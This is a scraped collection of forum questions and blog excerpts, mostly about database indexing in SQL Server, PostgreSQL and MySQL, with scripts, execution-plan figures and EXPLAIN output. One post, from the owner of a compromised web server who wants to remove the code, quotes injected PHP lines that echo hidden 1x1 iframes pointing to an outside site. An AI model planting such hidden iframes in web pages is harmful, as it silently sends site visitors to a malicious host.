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  • SQL SERVER – 2008 – Missing Index Script – Download

    - by pinaldave
    Download Missing Index Script with Unused Index Script Performance Tuning is quite interesting and Index plays a vital role in it. A proper index can improve the performance and a bad index can hamper the performance. Here is the script from my script bank which I use to identify missing indexes on any database. Please note, if you should not create all the missing indexes this script suggest. This is just for guidance. You should not create more than 5-10 indexes per table. Additionally, this script sometime does not give accurate information so use your common sense. Any way, the scripts is good starting point. You should pay attention to Avg_Estimated_Impact when you are going to create index. The index creation script is also provided in the last column. Download Missing Index Script with Unused Index Script -- Missing Index Script -- Original Author: Pinal Dave (C) 2011 SELECT TOP 25 dm_mid.database_id AS DatabaseID, dm_migs.avg_user_impact*(dm_migs.user_seeks+dm_migs.user_scans) Avg_Estimated_Impact, dm_migs.last_user_seek AS Last_User_Seek, OBJECT_NAME(dm_mid.OBJECT_ID,dm_mid.database_id) AS [TableName], 'CREATE INDEX [IX_' + OBJECT_NAME(dm_mid.OBJECT_ID,dm_mid.database_id) + '_' + REPLACE(REPLACE(REPLACE(ISNULL(dm_mid.equality_columns,''),', ','_'),'[',''),']','') + CASE WHEN dm_mid.equality_columns IS NOT NULL AND dm_mid.inequality_columns IS NOT NULL THEN '_' ELSE '' END + REPLACE(REPLACE(REPLACE(ISNULL(dm_mid.inequality_columns,''),', ','_'),'[',''),']','') + ']' + ' ON ' + dm_mid.statement + ' (' + ISNULL (dm_mid.equality_columns,'') + CASE WHEN dm_mid.equality_columns IS NOT NULL AND dm_mid.inequality_columns IS NOT NULL THEN ',' ELSE '' END + ISNULL (dm_mid.inequality_columns, '') + ')' + ISNULL (' INCLUDE (' + dm_mid.included_columns + ')', '') AS Create_Statement FROM sys.dm_db_missing_index_groups dm_mig INNER JOIN sys.dm_db_missing_index_group_stats dm_migs ON dm_migs.group_handle = dm_mig.index_group_handle INNER JOIN sys.dm_db_missing_index_details dm_mid ON dm_mig.index_handle = dm_mid.index_handle WHERE dm_mid.database_ID = DB_ID() ORDER BY Avg_Estimated_Impact DESC GO Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Download, SQL Index, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • SQL SERVER – Generate Report for Index Physical Statistics – SSMS

    - by pinaldave
    Few days ago, I wrote about SQL SERVER – Out of the Box – Activity and Performance Reports from SSSMS (Link). A user asked me a question regarding if we can use similar reports to get the detail about Indexes. Yes, it is possible to do the same. There are similar type of reports are available at Database level, just like those available at the Server Instance level. You can right click on Database name and click Reports. Under Standard Reports, you will find following reports. Disk Usage Disk Usage by Top Tables Disk Usage by Table Disk Usage by Partition Backup and Restore Events All Transactions All Blocking Transactions Top Transactions by Age Top Transactions by Blocked Transactions Count Top Transactions by Locks Count Resource Locking Statistics by Objects Object Execute Statistics Database Consistency history Index Usage Statistics Index Physical Statistics Schema Change history User Statistics Select the Reports with name Index Physical Statistics. Once click, a report containing all the index names along with other information related to index will be visible, e.g. Index Type and number of partitions. One column that caught my interest was Operation Recommended. In some place, it suggested that index needs to be rebuilt. It is also possible to click and expand the column of partitions and see additional details about index as well. DBA and Developers who just want to have idea about how your index is and its physical statistics can use this tool. Click to Enlarge Note: Please note that I will rebuild my indexes just because this report is recommending it. There are many other parameters you need to consider before rebuilding indexes. However, this tool gives you the accurate stats of your index and it can be right away exported to Excel or PDF writing by clicking on the report. Reference : Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Index, SQL Optimization, SQL Performance, SQL Query, SQL Server, SQL Server Management Studio, SQL Tips and Tricks, SQL Utility, T SQL, Technology

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  • Setting clustered index in nhibernate

    - by SolBadguy
    Hi. I'm trying to define a property that is not the id as a clustered index in nhibernate, yet I've found no way of doing this. Could anyone give me a pointer of how this is done, or it is something not currently available in nhibernate? Thanks in advance

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  • SQL SERVER – ColumnStore Index – Batch Mode vs Row Mode

    - by pinaldave
    What do you do when you are in a hurry and hear someone say things which you do not agree or is wrong? Well, let me tell you what I do or what I recently did. I was walking by and heard someone mentioning “Columnstore Index are really great as they are using Batch Mode which makes them seriously fast.” While I was passing by and I heard this statement my first reaction was I thought Columnstore Index can use both – Batch Mode and Row Mode. I stopped by even though I was in a hurry and asked the person if he meant that Columnstore indexes are seriously fast because they use Batch Mode all the time or Batch Mode is one of the reasons for Columnstore Index to be faster. He responded that Columnstore Indexes can run only in Batch Mode. However, I do not like to confront anybody without hearing their complete story. Honestly, I like to do information sharing and avoid confronting as much as possible. There are always ways to communicate the same positively. Well, this is what I did, I quickly pull up my earlier article on Columnstore Index and copied the script to SQL Server Management Studio. I created two versions of the script. 1) Very Large Table 2) Reasonably Small Table. I a query which uses columnstore index on both of the versions. I found very interesting result of the my tests. I saved my tests and sent it to the person who mentioned about that Columnstore Indexes are using Batch Mode only. He immediately acknowledged that indeed he was incorrect in saying that Columnstore Index uses only Batch Mode. What really caught my attention is that he also thanked me for sending him detail email instead of just having argument where he and I both were standing in the corridor and neither have no way to prove any theory. Here is the screenshots of the both the scenarios. 1) Columnstore Index using Batch Mode 2) Columnstore Index using Row Mode Here is the logic behind when Columnstore Index uses Batch Mode and when it uses Row Mode. A batch typically represents about 1000 rows of data. Batch mode processing also uses algorithms that are optimized for the multicore CPUs and increased memory throughput.  Batch mode processing spreads metadata access costs and overhead over all the rows in a batch.  Batch mode processing operates on compressed data when possible leading superior performance. Here is one last point – Columnstore Index can use Batch Mode or Row Mode but Batch Mode processing is only available in Columnstore Index. I hope this statement truly sums up the whole concept. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: PostADay, SQL, SQL Authority, SQL Index, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • 301 redirect from "/index.html" to root if index.html not exist

    - by Andrij Muzychka
    Can I create 301 redirect from "index.html" to root directory if file "index.html" not exist? For example: link "http://example.com/index.html" show "404 Error" page. I need 301 redirect to root directory: "http://example.com/" in .htaccess I add rule: Options +FollowSymLinks RewriteCond %{THE_REQUEST} ^.*/index.html RewriteRule ^(.*)index.html$ http://example.com/$1 [R=301,L] but it doesn't work. Can you help me solve this problem?

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  • SQL SERVER Size of Index Table for Each Index Solution 2

    Earlier I had ran puzzle where I asked question regarding size of index table for each index in database over here SQL SERVER Size of Index Table A Puzzle to Find Index Size for Each Index on Table. I had received good amount answers and I had blogged about that here SQL SERVER [...]...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • Webserver directory index: index.xml?

    - by Marius
    Hello there, I am making my first RSS-Feed, and I want to host it like this: www.example.com/rss/ I tried to name the xml-file "index.xml" and place it inside the directory, however, when I type http://www.example.com/rss/ i arrive at "Index of /rss" where the file is listed as being part of the directory, but it is not loaded automatically. What can be done about this? Thank you for your time. Kind regards, Marius

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  • Doubt in clustered and non Clustered index

    - by Mahesh
    I have a doubt that if my table do n't have any constraint like Primary Key,Foreign key,Unique key etc. then can i create the clustered index on table and clustered index can have the douplicate records ? My 2nd question is where should we exectly use the non clustered index and when it is useful and benificial to create in table? My 3rd question is How can we create the 249 non clustered index in a table .Is it the meaning, Creating the non clustered index on 249 columns ? Can you anyone help me to remove my confusion in this.

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  • Table index design

    - by Swoosh
    I would like to add index(s) to my table. I am looking for general ideas how to add more indexes to a table. Other than the PK clustered. I would like to know what to look for when I am doing this. So, my example: This table (let's call it TASK table) is going to be the biggest table of the whole application. Expecting millions records. IMPORTANT: massive bulk-insert is adding data in this table table has 27 columns: (so far, and counting :D ) int x 9 columns = id-s varchar x 10 columns bit x 2 columns datetime x 5 columns INT COLUMNS all of these are INT ID-s but from tables that are usually smaller than Task table (10-50 records max), example: Status table (with values like "open", "closed") or Priority table (with values like "important", "not so important", "normal") there is also a column like "parent-ID" (self - ID) join: all the "small" tables have PK, the usual way ... clustered STRING COLUMNS there is a (Company) column (string!) that is something like "5 characters long all the time" and every user will be restricted using this one. If in Task there are 15 different "Companies" the logged in user would only see one. So there's always a filter on this one. Might be a good idea to add an index to this column? DATE COLUMNS I think they don't index these ... right? Or can / should be?

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  • Search for index.php and index.html and replace string

    - by Jonas
    Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; So the parameter after "click=" always changes. These two were only examples. Is there a way to do that quick and fast? . . EDIT: It is on my webserver, so no use of find...

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  • SQL SERVER Understanding ALTER INDEX ALL REBUILD with Disabled Clustered Index

    This blog is in response to the ongoing communication with the reader who had earlier asked the question of SQL SERVER Disable Clustered Index and Data Insert. The same reader has asked me the difference between ALTER INDEX ALL REBUILD and ALTER INDEX REBUILD along with disabled clustered index. Instead of writing a big [...]...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • SQL SERVER – Video – Performance Improvement in Columnstore Index

    - by pinaldave
    I earlier wrote an article about SQL SERVER – Fundamentals of Columnstore Index and it got very well accepted in community. However, one of the suggestion I keep on receiving for that article is that many of the reader wanted to see columnstore index in the action but they were not able to do that. Some of the readers did not install SQL Server 2012 or some did not have good machine to recreate the big table involved in the demo. For the same reason, I have created small video for that. I have written two more article on columstore index. Please read them as followup to the video: SQL SERVER – How to Ignore Columnstore Index Usage in Query SQL SERVER – Updating Data in A Columnstore Index Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Index, SQL Performance, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology, Video

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  • Should I specify both INDEX and UNIQUE INDEX?

    - by Matt Huggins
    On one of my PostgreSQL tables, I have a set of two fields that will be defined as being unique in the table, but will also both be used together when selecting data. Given this, do I only need to define a UNIQUE INDEX, or should I specify an INDEX in addition to the UNIQUE INDEX? This? CREATE UNIQUE INDEX mytable_col1_col2_idx ON mytable (col1, col2); Or this? CREATE UNIQUE INDEX mytable_col1_col2_uidx ON mytable (col1, col2); CREATE INDEX mytable_col1_col2_idx ON mytable (col1, col2);

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  • Clustered Index

    - by Derek Dieter
    The clustered index on a table can be defined as: the sort order for how the data for the table is actually stored. Being that the clustered index is the actual data itself, you cannot have two clustered indexes. You can however have many non clustered indexes. These non clustered indexes are [...]

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  • My website google index suddenly increase and also suddenly reduced

    - by Jeg Bagus
    Yesterday before i sleep, i check my site index. i get about 50 index on google. today morning when i wake up, i get 250 index on google. and my page ranking better on several keyword. than i add 1 page and 2 canonical link, add 404 page header, and resubmit sitemap. and after 2 hour, its going down to 50 index again. and my page ranking just rolled back to previous day. what is actually happen? is it because i resubmit sitemap? until now, google still crawl my website. do they try to refresh the index?

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  • Which non-clustered index should I use?

    - by Junior Mayhé
    Here I am studying nonclustered indexes on SQL Server Management Studio. I've created a table with more than 1 million records. This table has a primary key. CREATE TABLE [dbo].[Customers]( [CustomerId] [int] IDENTITY(1,1) NOT NULL, [CustomerName] [varchar](100) NOT NULL, [Deleted] [bit] NOT NULL, [Active] [bit] NOT NULL, CONSTRAINT [PK_Customers] PRIMARY KEY CLUSTERED ( [CustomerId] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] This is the query I'll be using to see what execution plan is showing: SELECT CustomerName FROM Customers Well, executing this command with no additional non-clustered index, it leads the execution plan to show me: I/O cost = 3.45646 Operator cost = 4.57715 Now I'm trying to see if it's possible to improve performance, so I've created a non-clustered index for this table: 1) First non-clustered index CREATE NONCLUSTERED INDEX [IX_CustomerID_CustomerName] ON [dbo].[Customers] ( [CustomerId] ASC, [CustomerName] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] GO Executing again the select against Customers table, the execution plan shows me: I/O cost = 2.79942 Operator cost = 3.92001 It seems better. Now I've deleted this just created non-clustered index, in order to create a new one: 2) First non-clustered index CREATE NONCLUSTERED INDEX [IX_CustomerIDIncludeCustomerName] ON [dbo].[Customers] ( [CustomerId] ASC ) INCLUDE ( [CustomerName]) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] GO With this new non-clustered index, I've executed the select statement again and the execution plan shows me the same result: I/O cost = 2.79942 Operator cost = 3.92001 So, which non-clustered index should I use? Why the costs are the same on execution plan for I/O and Operator? Am I doing something wrong or this is expected? thank you

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  • Per-vertex position/normal and per-index texture coordinate

    - by Boreal
    In my game, I have a mesh with a vertex buffer and index buffer up and running. The vertex buffer stores a Vector3 for the position and a Vector2 for the UV coordinate for each vertex. The index buffer is a list of ushorts. It works well, but I want to be able to use 3 discrete texture coordinates per triangle. I assume I have to create another vertex buffer, but how do I even use it? Here is my vertex/index buffer creation code: // vertices is a Vertex[] // indices is a ushort[] // VertexDefs stores the vertex size (sizeof(float) * 5) // vertex data numVertices = vertices.Length; DataStream data = new DataStream(VertexDefs.size * numVertices, true, true); data.WriteRange<Vertex>(vertices); data.Position = 0; // vertex buffer parameters BufferDescription vbDesc = new BufferDescription() { BindFlags = BindFlags.VertexBuffer, CpuAccessFlags = CpuAccessFlags.None, OptionFlags = ResourceOptionFlags.None, SizeInBytes = VertexDefs.size * numVertices, StructureByteStride = VertexDefs.size, Usage = ResourceUsage.Default }; // create vertex buffer vertexBuffer = new Buffer(Graphics.device, data, vbDesc); vertexBufferBinding = new VertexBufferBinding(vertexBuffer, VertexDefs.size, 0); data.Dispose(); // index data numIndices = indices.Length; data = new DataStream(sizeof(ushort) * numIndices, true, true); data.WriteRange<ushort>(indices); data.Position = 0; // index buffer parameters BufferDescription ibDesc = new BufferDescription() { BindFlags = BindFlags.IndexBuffer, CpuAccessFlags = CpuAccessFlags.None, OptionFlags = ResourceOptionFlags.None, SizeInBytes = sizeof(ushort) * numIndices, StructureByteStride = sizeof(ushort), Usage = ResourceUsage.Default }; // create index buffer indexBuffer = new Buffer(Graphics.device, data, ibDesc); data.Dispose(); Engine.Log(MessageType.Success, string.Format("Mesh created with {0} vertices and {1} indices", numVertices, numIndices)); And my drawing code: // ShaderEffect, ShaderTechnique, and ShaderPass all store effect data // e is of type ShaderEffect // get the technique ShaderTechnique t; if(!e.techniques.TryGetValue(techniqueName, out t)) return; // effect variables e.SetMatrix("worldView", worldView); e.SetMatrix("projection", projection); e.SetResource("diffuseMap", texture); e.SetSampler("textureSampler", sampler); // set per-mesh/technique settings Graphics.context.InputAssembler.SetVertexBuffers(0, vertexBufferBinding); Graphics.context.InputAssembler.SetIndexBuffer(indexBuffer, SlimDX.DXGI.Format.R16_UInt, 0); Graphics.context.PixelShader.SetSampler(sampler, 0); // render for each pass foreach(ShaderPass p in t.passes) { Graphics.context.InputAssembler.InputLayout = p.layout; p.pass.Apply(Graphics.context); Graphics.context.DrawIndexed(numIndices, 0, 0); } How can I do this?

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  • Google crawling the site but refusing to index dynamic content

    - by Omeoe
    I am trying to get Google to index an AJAX site (davidelifestyle.com). It's crawlable with JavaScript turned off and I have also recently implemented _escaped_content_ snapshot mechanism but all that's indexed is a home page and PDF files that are not directly available from the home page. Also when I use Fetch as Google in Webmaster Tools, it downloads the dynamic page but does not index it ("Submit to Index" just reloads the page). Any ideas what might be wrong?

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  • SQL SERVER Force Index Scan on Table Use No Index to Retrieve the Data Query Hint

    Recently I received the following two questions from readers and both the questions have very similar answers.Question 1: I have a unique requirement where I do not want to use any index of the table; how can I achieve this?Question 2: Currently my table uses clustered index and does seek operation; how can I convert [...]...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • Does clustered index on foreign key column increase join performance vs non-clustered ?

    - by alpav
    In many places it's recommended that clustered indexes are better utilized when used to select range of rows using BETWEEN statement. When I select joining by foreign key field in such a way that this clustered index is used, I guess, that clusterization should help too because range of rows is being selected even though they all have same clustered key value and BETWEEN is not used. Considering that I care only about that one select with join and nothing else, am I wrong with my guess ?

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  • SQL SERVER – Columnstore Index and sys.dm_db_index_usage_stats

    - by pinaldave
    As you know I have been writing on Columnstore Index for quite a while. Recently my friend Vinod Kumar wrote about  SQL Server 2012: ColumnStore Characteristics. A fantastic read on the subject if you have yet not caught up on that subject. After the blog post I called him and asked what should I write next on this subject. He suggested that I should write on DMV script which I have prepared related to Columnstore when I was writing our SQL Server Questions and Answers book. When we were writing this book SQL Server 2012 CTP versions were available. I had written few scripts related to SQL Server columnstore Index. I like Vinod’s idea and I decided to write about DMV, which we did not cover in the book as SQL Server 2012 was not released yet. We did not want to talk about the product which was not yet released. The first script which I had written was with DMV - sys.column_store_index_stats. This DMV was displaying the statistics of the columnstore indexes. When I attempted to run it on SQL Server 2012 RTM it gave me error suggesting that this DMV does not exists. Here is the script which I ran: SELECT * FROM sys.column_store_index_stats; It generated following error: Msg 208, Level 16, State 1, Line 1 Invalid object name ‘column_store_index_stats’. I was pretty confident that this DMV was available when I had written the scripts. The next reaction was to type ‘sys.’ only in SSMS and wait for intelisense to popup DMV list. I scrolled down and noticed that above said DMV did not exists there as well. Now this is not bug or missing feature. This was indeed something can happen because the version which I was practicing was early CTP version. If you go to the page of the DMV here, it clearly stats notice on the top of the page. This documentation is for preview only, and is subject to change in later releases. Now this was not alarming but my next thought was if this DMV is not there where can I find the information which this DMV was providing. Well, while I was thinking about this, I noticed that my another friend Balmukund Lakhani was online on personal messenger. Well, Balmukund is “Know All” kid. I have yet to find situation where I have not got my answers from him. I immediately pinged him and asked the question regarding where can I find information of ‘column_store_index_stats’. His answer was very abrupt but enlightening for sure. Here is our conversation: Pinal: Where can I find information of column_store_index_stats? Balmukund: Assume you have never worked with CTP before and now try to find the information which you are trying to find. Honestly  it was fantastic response from him. I was confused as I have played extensively with CTP versions of SQL Server 2012. Now his response give me big hint. I should have not looked for DMV but rather should have focused on what I wanted to do. I wanted to retrieve the statistics related to the index. In SQL Server 2008/R2, I was able to retrieve the statistics of the index from the DMV - sys.dm_db_index_usage_stats. I used the same DMV on SQL Server 2012 and it did retrieved the necessary information for me. Here is the updated script which gave me all the necessary information I was looking for. Matter of the fact, if I have used my earlier SQL Server 2008 R2 script this would have just worked fine. SELECT DB_NAME(Database_ID) DBName, SCHEMA_NAME(schema_id) AS SchemaName, OBJECT_NAME(ius.OBJECT_ID) ObjName, i.type_desc, i.name, user_seeks, user_scans, user_lookups, user_updates,* FROM sys.dm_db_index_usage_stats ius INNER JOIN sys.indexes i ON i.index_id = ius.index_id AND ius.OBJECT_ID = i.OBJECT_ID INNER JOIN sys.tables t ON t.OBJECT_ID = i.OBJECT_ID GO Let us see the resultset of above query. You will notice that column Type_desc describes the type of the index. You can additionally write WHERE condition on the column and only retrieve only selected type of Index. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: PostADay, SQL, SQL Authority, SQL Index, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • Query doesn't use a covering-index when applicable

    - by Dor
    I've downloaded the employees database and executed some queries for benchmarking purposes. Then I noticed that one query didn't use a covering index, although there was a corresponding index that I created earlier. Only when I added a FORCE INDEX clause to the query, it used a covering index. I've uploaded two files, one is the executed SQL queries and the other is the results. Can you tell why the query uses a covering-index only when a FORCE INDEX clause is added? The EXPLAIN shows that in both cases, the index dept_no_from_date_idx is being used anyway. To adapt myself to the standards of SO, I'm also writing the content of the two files here: The SQL queries: USE employees; /* Creating an index for an index-covered query */ CREATE INDEX dept_no_from_date_idx ON dept_emp (dept_no, from_date); /* Show `dept_emp` table structure, indexes and generic data */ SHOW TABLE STATUS LIKE "dept_emp"; DESCRIBE dept_emp; SHOW KEYS IN dept_emp; /* The EXPLAIN shows that the subquery doesn't use a covering-index */ EXPLAIN SELECT SQL_NO_CACHE * FROM dept_emp INNER JOIN ( /* The subquery should use a covering index, but isn't */ SELECT SQL_NO_CACHE emp_no, dept_no FROM dept_emp WHERE dept_no="d001" ORDER BY from_date DESC LIMIT 20000,50 ) AS `der` USING (`emp_no`, `dept_no`); /* The EXPLAIN shows that the subquery DOES use a covering-index, thanks to the FORCE INDEX clause */ EXPLAIN SELECT SQL_NO_CACHE * FROM dept_emp INNER JOIN ( /* The subquery use a covering index */ SELECT SQL_NO_CACHE emp_no, dept_no FROM dept_emp FORCE INDEX(dept_no_from_date_idx) WHERE dept_no="d001" ORDER BY from_date DESC LIMIT 20000,50 ) AS `der` USING (`emp_no`, `dept_no`); The results: -------------- /* Creating an index for an index-covered query */ CREATE INDEX dept_no_from_date_idx ON dept_emp (dept_no, from_date) -------------- Query OK, 331603 rows affected (33.95 sec) Records: 331603 Duplicates: 0 Warnings: 0 -------------- /* Show `dept_emp` table structure, indexes and generic data */ SHOW TABLE STATUS LIKE "dept_emp" -------------- +----------+--------+---------+------------+--------+----------------+-------------+-----------------+--------------+-----------+----------------+---------------------+-------------+------------+-----------------+----------+----------------+---------+ | Name | Engine | Version | Row_format | Rows | Avg_row_length | Data_length | Max_data_length | Index_length | Data_free | Auto_increment | Create_time | Update_time | Check_time | Collation | Checksum | Create_options | Comment | +----------+--------+---------+------------+--------+----------------+-------------+-----------------+--------------+-----------+----------------+---------------------+-------------+------------+-----------------+----------+----------------+---------+ | dept_emp | InnoDB | 10 | Compact | 331883 | 36 | 12075008 | 0 | 21544960 | 29360128 | NULL | 2010-05-04 13:07:49 | NULL | NULL | utf8_general_ci | NULL | | | +----------+--------+---------+------------+--------+----------------+-------------+-----------------+--------------+-----------+----------------+---------------------+-------------+------------+-----------------+----------+----------------+---------+ 1 row in set (0.47 sec) -------------- DESCRIBE dept_emp -------------- +-----------+---------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-----------+---------+------+-----+---------+-------+ | emp_no | int(11) | NO | PRI | NULL | | | dept_no | char(4) | NO | PRI | NULL | | | from_date | date | NO | | NULL | | | to_date | date | NO | | NULL | | +-----------+---------+------+-----+---------+-------+ 4 rows in set (0.05 sec) -------------- SHOW KEYS IN dept_emp -------------- +----------+------------+-----------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ | Table | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | +----------+------------+-----------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ | dept_emp | 0 | PRIMARY | 1 | emp_no | A | 331883 | NULL | NULL | | BTREE | | | dept_emp | 0 | PRIMARY | 2 | dept_no | A | 331883 | NULL | NULL | | BTREE | | | dept_emp | 1 | emp_no | 1 | emp_no | A | 331883 | NULL | NULL | | BTREE | | | dept_emp | 1 | dept_no | 1 | dept_no | A | 7 | NULL | NULL | | BTREE | | | dept_emp | 1 | dept_no_from_date_idx | 1 | dept_no | A | 13 | NULL | NULL | | BTREE | | | dept_emp | 1 | dept_no_from_date_idx | 2 | from_date | A | 165941 | NULL | NULL | | BTREE | | +----------+------------+-----------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ 6 rows in set (0.23 sec) -------------- /* The EXPLAIN shows that the subquery doesn't use a covering-index */ EXPLAIN SELECT SQL_NO_CACHE * FROM dept_emp INNER JOIN ( /* The subquery should use a covering index, but isn't */ SELECT SQL_NO_CACHE emp_no, dept_no FROM dept_emp WHERE dept_no="d001" ORDER BY from_date DESC LIMIT 20000,50 ) AS `der` USING (`emp_no`, `dept_no`) -------------- +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+-------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+-------------+ | 1 | PRIMARY | <derived2> | ALL | NULL | NULL | NULL | NULL | 50 | | | 1 | PRIMARY | dept_emp | eq_ref | PRIMARY,emp_no,dept_no,dept_no_from_date_idx | PRIMARY | 16 | der.emp_no,der.dept_no | 1 | | | 2 | DERIVED | dept_emp | ref | dept_no,dept_no_from_date_idx | dept_no_from_date_idx | 12 | | 21402 | Using where | +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+-------------+ 3 rows in set (0.09 sec) -------------- /* The EXPLAIN shows that the subquery DOES use a covering-index, thanks to the FORCE INDEX clause */ EXPLAIN SELECT SQL_NO_CACHE * FROM dept_emp INNER JOIN ( /* The subquery use a covering index */ SELECT SQL_NO_CACHE emp_no, dept_no FROM dept_emp FORCE INDEX(dept_no_from_date_idx) WHERE dept_no="d001" ORDER BY from_date DESC LIMIT 20000,50 ) AS `der` USING (`emp_no`, `dept_no`) -------------- +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+--------------------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+--------------------------+ | 1 | PRIMARY | <derived2> | ALL | NULL | NULL | NULL | NULL | 50 | | | 1 | PRIMARY | dept_emp | eq_ref | PRIMARY,emp_no,dept_no,dept_no_from_date_idx | PRIMARY | 16 | der.emp_no,der.dept_no | 1 | | | 2 | DERIVED | dept_emp | ref | dept_no_from_date_idx | dept_no_from_date_idx | 12 | | 37468 | Using where; Using index | +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+--------------------------+ 3 rows in set (0.05 sec) Bye

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  • Changing an MSSQL clustered index field from containing "random" GUIDs to sequential GUIDs - how wil

    - by Eyvind
    We have an MSSQL database in which all the primary keys are GUIDs (uniqueidentifiers). The GUIDs are produced on the client (in C#), and we are considering changing the client to generate sequential (comb) GUIDs instead of just using Guid.NewGuid(), to improve db performance. If we do this, how will this affect installations that already have data with "random" GUIDs as clustered PKs? Can anything be done (short of changing all the PK values) to rebuild the indexes to avoid further fragmentation and bad insert performance? Please give explicit and detailed answers if you can; I am a C# developer at heart and not all too familiar with all the intricacies of SQL Server. Thanks!

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